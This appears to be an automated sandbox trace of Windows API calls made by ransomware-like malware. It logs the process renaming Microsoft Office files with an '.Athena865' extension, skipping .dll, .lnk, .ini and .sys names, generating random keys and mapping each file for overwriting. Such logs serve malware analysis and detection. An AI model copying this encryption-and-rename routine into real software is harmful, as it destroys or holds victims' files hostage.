1 [0142.419] lstrlenW (lpString=".lnk") returned 4 [0142.420] lstrcmpiW (lpString1="MSACCESS.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0142.420] lstrlenW (lpString=".ini") returned 4 [0142.420] lstrcmpiW (lpString1="MSACCESS.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0142.420] lstrlenW (lpString=".sys") returned 4 [0142.420] lstrcmpiW (lpString1="MSACCESS.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0142.420] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22 [0142.420] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.Athena865") returned 80 [0142.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.422] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0142.422] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.423] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.423] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.423] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.425] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.427] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.429] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.429] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.430] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS.HXS" | out: lpString1="MSACCESS.HXS") returned="MSACCESS.HXS" [0142.430] lstrlenW (lpString="MSACCESS.HXS") returned 12 [0142.430] lstrlenW (lpString="Athena865") returned 9 [0142.430] lstrcmpiW (lpString1="CCESS.HXS", lpString2="Athena865") returned 1 [0142.430] lstrlenW (lpString=".dll") returned 4 [0142.430] lstrcmpiW (lpString1="MSACCESS.HXS", lpString2=".dll") returned 1 [0142.430] lstrlenW (lpString=".lnk") returned 4 [0142.430] lstrcmpiW (lpString1="MSACCESS.HXS", lpString2=".lnk") returned 1 [0142.430] lstrlenW (lpString=".ini") returned 4 [0142.430] lstrcmpiW (lpString1="MSACCESS.HXS", lpString2=".ini") returned 1 [0142.430] lstrlenW (lpString=".sys") returned 4 [0142.430] lstrcmpiW (lpString1="MSACCESS.HXS", lpString2=".sys") returned 1 [0142.430] lstrlenW (lpString="MSACCESS.HXS") returned 12 [0142.430] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.Athena865") returned 70 [0142.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.athena865"), dwFlags=0x1) returned 1 [0142.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.432] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3877906) returned 1 [0142.432] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.433] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.433] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.433] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b2f20, lpName=0x0) returned 0x17c [0142.435] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1b2f20) returned 0x2bb0000 [0142.591] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.592] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.592] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.619] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS_COL.HXC" | out: lpString1="MSACCESS_COL.HXC") returned="MSACCESS_COL.HXC" [0142.619] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16 [0142.619] lstrlenW (lpString="Athena865") returned 9 [0142.619] lstrcmpiW (lpString1="S_COL.HXC", lpString2="Athena865") returned 1 [0142.619] lstrlenW (lpString=".dll") returned 4 [0142.619] lstrcmpiW (lpString1="MSACCESS_COL.HXC", lpString2=".dll") returned 1 [0142.619] lstrlenW (lpString=".lnk") returned 4 [0142.619] lstrcmpiW (lpString1="MSACCESS_COL.HXC", lpString2=".lnk") returned 1 [0142.619] lstrlenW (lpString=".ini") returned 4 [0142.619] lstrcmpiW (lpString1="MSACCESS_COL.HXC", lpString2=".ini") returned 1 [0142.619] lstrlenW (lpString=".sys") returned 4 [0142.619] lstrcmpiW (lpString1="MSACCESS_COL.HXC", lpString2=".sys") returned 1 [0142.619] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16 [0142.619] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.Athena865") returned 74 [0142.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.athena865"), dwFlags=0x1) returned 1 [0142.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.622] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=636) returned 1 [0142.622] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.623] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.623] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.623] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0142.625] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0142.625] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.626] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.626] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.626] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS_COL.HXT" | out: lpString1="MSACCESS_COL.HXT") returned="MSACCESS_COL.HXT" [0142.626] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16 [0142.626] lstrlenW (lpString="Athena865") returned 9 [0142.627] lstrcmpiW (lpString1="S_COL.HXT", lpString2="Athena865") returned 1 [0142.627] lstrlenW (lpString=".dll") returned 4 [0142.627] lstrcmpiW (lpString1="MSACCESS_COL.HXT", lpString2=".dll") returned 1 [0142.627] lstrlenW (lpString=".lnk") returned 4 [0142.627] lstrcmpiW (lpString1="MSACCESS_COL.HXT", lpString2=".lnk") returned 1 [0142.627] lstrlenW (lpString=".ini") returned 4 [0142.627] lstrcmpiW (lpString1="MSACCESS_COL.HXT", lpString2=".ini") returned 1 [0142.627] lstrlenW (lpString=".sys") returned 4 [0142.627] lstrcmpiW (lpString1="MSACCESS_COL.HXT", lpString2=".sys") returned 1 [0142.627] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16 [0142.627] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.Athena865") returned 74 [0142.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.athena865"), dwFlags=0x1) returned 1 [0142.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.629] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=208) returned 1 [0142.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.630] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.630] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.630] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0142.632] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0142.632] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.633] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.633] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.634] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS_F_COL.HXK" | out: lpString1="MSACCESS_F_COL.HXK") returned="MSACCESS_F_COL.HXK" [0142.634] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18 [0142.634] lstrlenW (lpString="Athena865") returned 9 [0142.634] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0142.634] lstrlenW (lpString=".dll") returned 4 [0142.634] lstrcmpiW (lpString1="MSACCESS_F_COL.HXK", lpString2=".dll") returned 1 [0142.634] lstrlenW (lpString=".lnk") returned 4 [0142.634] lstrcmpiW (lpString1="MSACCESS_F_COL.HXK", lpString2=".lnk") returned 1 [0142.634] lstrlenW (lpString=".ini") returned 4 [0142.634] lstrcmpiW (lpString1="MSACCESS_F_COL.HXK", lpString2=".ini") returned 1 [0142.634] lstrlenW (lpString=".sys") returned 4 [0142.634] lstrcmpiW (lpString1="MSACCESS_F_COL.HXK", lpString2=".sys") returned 1 [0142.634] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18 [0142.634] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.Athena865") returned 76 [0142.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.636] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0142.636] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.637] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.637] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.637] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.639] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.639] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.640] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.640] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.640] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS_K_COL.HXK" | out: lpString1="MSACCESS_K_COL.HXK") returned="MSACCESS_K_COL.HXK" [0142.640] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18 [0142.640] lstrlenW (lpString="Athena865") returned 9 [0142.640] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0142.640] lstrlenW (lpString=".dll") returned 4 [0142.640] lstrcmpiW (lpString1="MSACCESS_K_COL.HXK", lpString2=".dll") returned 1 [0142.641] lstrlenW (lpString=".lnk") returned 4 [0142.641] lstrcmpiW (lpString1="MSACCESS_K_COL.HXK", lpString2=".lnk") returned 1 [0142.641] lstrlenW (lpString=".ini") returned 4 [0142.641] lstrcmpiW (lpString1="MSACCESS_K_COL.HXK", lpString2=".ini") returned 1 [0142.641] lstrlenW (lpString=".sys") returned 4 [0142.641] lstrcmpiW (lpString1="MSACCESS_K_COL.HXK", lpString2=".sys") returned 1 [0142.641] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18 [0142.641] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.Athena865") returned 76 [0142.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.650] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0142.650] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.651] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.651] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.651] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.654] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.654] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.655] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.655] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.655] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSAIN.DLL" | out: lpString1="MSAIN.DLL") returned="MSAIN.DLL" [0142.656] lstrlenW (lpString="MSAIN.DLL") returned 9 [0142.656] lstrlenW (lpString="Athena865") returned 9 [0142.656] lstrlenW (lpString=".dll") returned 4 [0142.656] lstrcmpiW (lpString1="MSAIN.DLL", lpString2=".dll") returned 1 [0142.656] lstrlenW (lpString=".lnk") returned 4 [0142.656] lstrcmpiW (lpString1="MSAIN.DLL", lpString2=".lnk") returned 1 [0142.656] lstrlenW (lpString=".ini") returned 4 [0142.656] lstrcmpiW (lpString1="MSAIN.DLL", lpString2=".ini") returned 1 [0142.656] lstrlenW (lpString=".sys") returned 4 [0142.656] lstrcmpiW (lpString1="MSAIN.DLL", lpString2=".sys") returned 1 [0142.656] lstrlenW (lpString="MSAIN.DLL") returned 9 [0142.656] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.Athena865") returned 67 [0142.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.athena865"), dwFlags=0x1) returned 1 [0142.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.658] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1212288) returned 1 [0142.658] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.659] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.659] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.659] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x128280, lpName=0x0) returned 0x17c [0142.660] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x128280) returned 0x2bb0000 [0142.699] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.700] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.700] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.716] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSO.ACL" | out: lpString1="MSO.ACL") returned="MSO.ACL" [0142.716] lstrlenW (lpString="MSO.ACL") returned 7 [0142.716] lstrlenW (lpString="Athena865") returned 9 [0142.716] lstrlenW (lpString=".dll") returned 4 [0142.716] lstrcmpiW (lpString1="MSO.ACL", lpString2=".dll") returned 1 [0142.716] lstrlenW (lpString=".lnk") returned 4 [0142.716] lstrcmpiW (lpString1="MSO.ACL", lpString2=".lnk") returned 1 [0142.716] lstrlenW (lpString=".ini") returned 4 [0142.716] lstrcmpiW (lpString1="MSO.ACL", lpString2=".ini") returned 1 [0142.716] lstrlenW (lpString=".sys") returned 4 [0142.716] lstrcmpiW (lpString1="MSO.ACL", lpString2=".sys") returned 1 [0142.716] lstrlenW (lpString="MSO.ACL") returned 7 [0142.716] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.Athena865") returned 65 [0142.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.athena865"), dwFlags=0x1) returned 1 [0142.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.719] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37762) returned 1 [0142.719] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.720] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.720] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.720] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9690, lpName=0x0) returned 0x17c [0142.723] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9690) returned 0x100000 [0142.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.725] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.725] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.726] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSOUC.HXS" | out: lpString1="MSOUC.HXS") returned="MSOUC.HXS" [0142.726] lstrlenW (lpString="MSOUC.HXS") returned 9 [0142.726] lstrlenW (lpString="Athena865") returned 9 [0142.726] lstrlenW (lpString=".dll") returned 4 [0142.726] lstrcmpiW (lpString1="MSOUC.HXS", lpString2=".dll") returned 1 [0142.727] lstrlenW (lpString=".lnk") returned 4 [0142.727] lstrcmpiW (lpString1="MSOUC.HXS", lpString2=".lnk") returned 1 [0142.727] lstrlenW (lpString=".ini") returned 4 [0142.727] lstrcmpiW (lpString1="MSOUC.HXS", lpString2=".ini") returned 1 [0142.727] lstrlenW (lpString=".sys") returned 4 [0142.727] lstrcmpiW (lpString1="MSOUC.HXS", lpString2=".sys") returned 1 [0142.727] lstrlenW (lpString="MSOUC.HXS") returned 9 [0142.727] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.Athena865") returned 67 [0142.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.athena865"), dwFlags=0x1) returned 1 [0142.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.729] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=431456) returned 1 [0142.729] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.730] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.730] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.730] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x69860, lpName=0x0) returned 0x17c [0142.732] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x69860) returned 0x2bb0000 [0142.747] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 